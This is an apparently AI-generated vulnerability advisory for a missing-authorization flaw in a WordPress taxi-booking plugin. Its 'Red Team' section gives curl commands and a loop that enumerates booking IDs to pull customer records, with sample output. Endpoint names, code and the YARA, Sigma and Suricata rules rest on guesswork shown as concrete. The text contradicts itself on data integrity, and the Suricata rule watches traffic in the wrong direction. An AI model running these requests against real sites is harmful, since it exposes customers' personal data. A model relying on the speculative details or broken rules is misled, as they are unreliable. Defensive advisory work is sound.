CVE-2025-30839

Executive Summary

CVE-2025-30839 is a Missing Authorization vulnerability in the Taxi Booking Manager for WooCommerce WordPress plugin (slug: ecab-taxi-booking-manager) developed by Magepeopleteam. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation of booking records. The vulnerability affects all versions up to and including 1.2.1. No official patch has been released, and the vendor has not responded to disclosure attempts. The CVSS score is 5.3 (Medium), with a low EPSS probability of exploitation (0.0%), but the lack of authentication requirements makes it a viable target for automated scanning.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via automatic updates are affected. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is moderate due to the lack of a patch and the plugin’s reliance on WooCommerce, a widely used e-commerce platform.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 5.3, the lack of authentication and the potential for data leakage (e.g., booking details, customer PII) elevates the risk for WordPress sites handling sensitive transportation data.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin’s REST API endpoints or AJAX handlers. The plugin likely exposes functions for managing taxi bookings (e.g., viewing, editing, or deleting reservations) without verifying the user’s capabilities. An unauthenticated attacker can send crafted HTTP requests to these endpoints to access or manipulate booking data.

Root Cause: The plugin fails to call current_user_can() or similar WordPress capability checks before executing privileged actions. This is a classic CWE-862 (Missing Authorization) flaw.

Attack Vector: The attacker sends a GET or POST request to a vulnerable endpoint, such as /wp-json/ecab/v1/bookings or an AJAX action like ecab_get_booking_details. The server processes the request without validating the user’s role or permissions.

Impact: Unauthorized reading of booking records (customer names, pickup/dropoff locations, payment status) or modification of booking statuses (e.g., canceling or approving bookings). In worst-case scenarios, this could lead to service disruption or financial fraud.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_ecab_get_booking', 'ecab_get_booking_handler');
function ecab_get_booking_handler() {
    $booking_id = $_GET['booking_id'];
    global $wpdb;
    $booking = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}ecab_bookings WHERE id = $booking_id");
    echo json_encode($booking);
    wp_die();
}

Issue: The wp_ajax_nopriv_ hook allows unauthenticated users to trigger the handler. No capability check is performed.

Patched Code (Hypothetical):

add_action('wp_ajax_ecab_get_booking', 'ecab_get_booking_handler');
add_action('wp_ajax_nopriv_ecab_get_booking', 'ecab_get_booking_handler');
function ecab_get_booking_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $booking_id = intval($_GET['booking_id']);
    global $wpdb;
    $booking = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}ecab_bookings WHERE id = %d", $booking_id));
    echo json_encode($booking);
    wp_die();
}

Fix: Added current_user_can('manage_options') check and used prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with Taxi Booking Manager for WooCommerce <= 1.2.1 installed and activated.
• WooCommerce plugin active.

Exploitation Steps:

1. Identify vulnerable endpoints by analyzing the plugin’s source code or using a tool like Burp Suite to spider the site.
2. Send an unauthenticated GET request to a known endpoint:

   curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=ecab_get_booking&booking_id=1"
   

3. If the endpoint returns booking data (JSON), the vulnerability is confirmed.
4. For mass exploitation, iterate through booking IDs:

   for i in $(seq 1 100); do
       curl -s "http://target.com/wp-admin/admin-ajax.php?action=ecab_get_booking&booking_id=$i"
   done
   

Expected Output:

{
  "id": "1",
  "customer_name": "John Doe",
  "pickup": "Airport Terminal 1",
  "dropoff": "Downtown Hotel",
  "status": "confirmed"
}

Blue Team

Detection:

• Monitor for repeated requests to admin-ajax.php with action parameters like ecab_get_booking, ecab_delete_booking, or ecab_update_booking from unauthenticated IPs.
• Look for anomalous patterns in web server logs, such as sequential booking ID enumeration.

Mitigation:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints from unauthenticated users.
• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=ecab_get_booking or similar.
  • Repeated GET/POST requests with sequential booking_id parameters.
• File IOCs:
  • Plugin directory: /wp-content/plugins/ecab-taxi-booking-manager/
  • Suspicious log entries in /wp-content/debug.log showing unauthenticated access attempts.
• Behavioral IOCs:
  • Unusual number of booking records being accessed or modified without corresponding user sessions.
  • Spike in 403 errors if a WAF is in place.

Detection Engineering

YARA Rule

rule CVE_2025_30839_Taxi_Booking_Manager {
    meta:
        description = "Detects exploitation attempts against CVE-2025-30839 in Taxi Booking Manager for WooCommerce"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30839"
    strings:
        $ajax_action = "ecab_get_booking" nocase
        $ajax_action2 = "ecab_delete_booking" nocase
        $ajax_action3 = "ecab_update_booking" nocase
        $booking_id = "booking_id="
    condition:
        any of ($ajax_action*) and $booking_id
}

Sigma Rule

title: CVE-2025-30839 - Unauthenticated Access to Taxi Booking Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to vulnerable Taxi Booking Manager endpoints
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=ecab_get_booking'
            - 'action=ecab_delete_booking'
            - 'action=ecab_update_booking'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30839 - Taxi Booking Manager Unauthenticated Access"; flow:to_server,established; content:"GET"; http_method; content:"admin-ajax.php"; http_uri; content:"action=ecab_get_booking"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins and deactivate Taxi Booking Manager for WooCommerce.
2. Apply virtual patching using a WAF (e.g., Cloudflare, ModSecurity) to block requests to admin-ajax.php with action parameters containing ecab_ unless the user is authenticated.
3. Audit logs for any signs of exploitation, especially unauthorized access to booking data.

Long-term Fix:

• Contact the vendor (Magepeopleteam) for an official patch. If unresponsive, consider migrating to an alternative taxi booking plugin with active security support.
• Implement the principle of least privilege by ensuring all AJAX handlers check user capabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact your security team.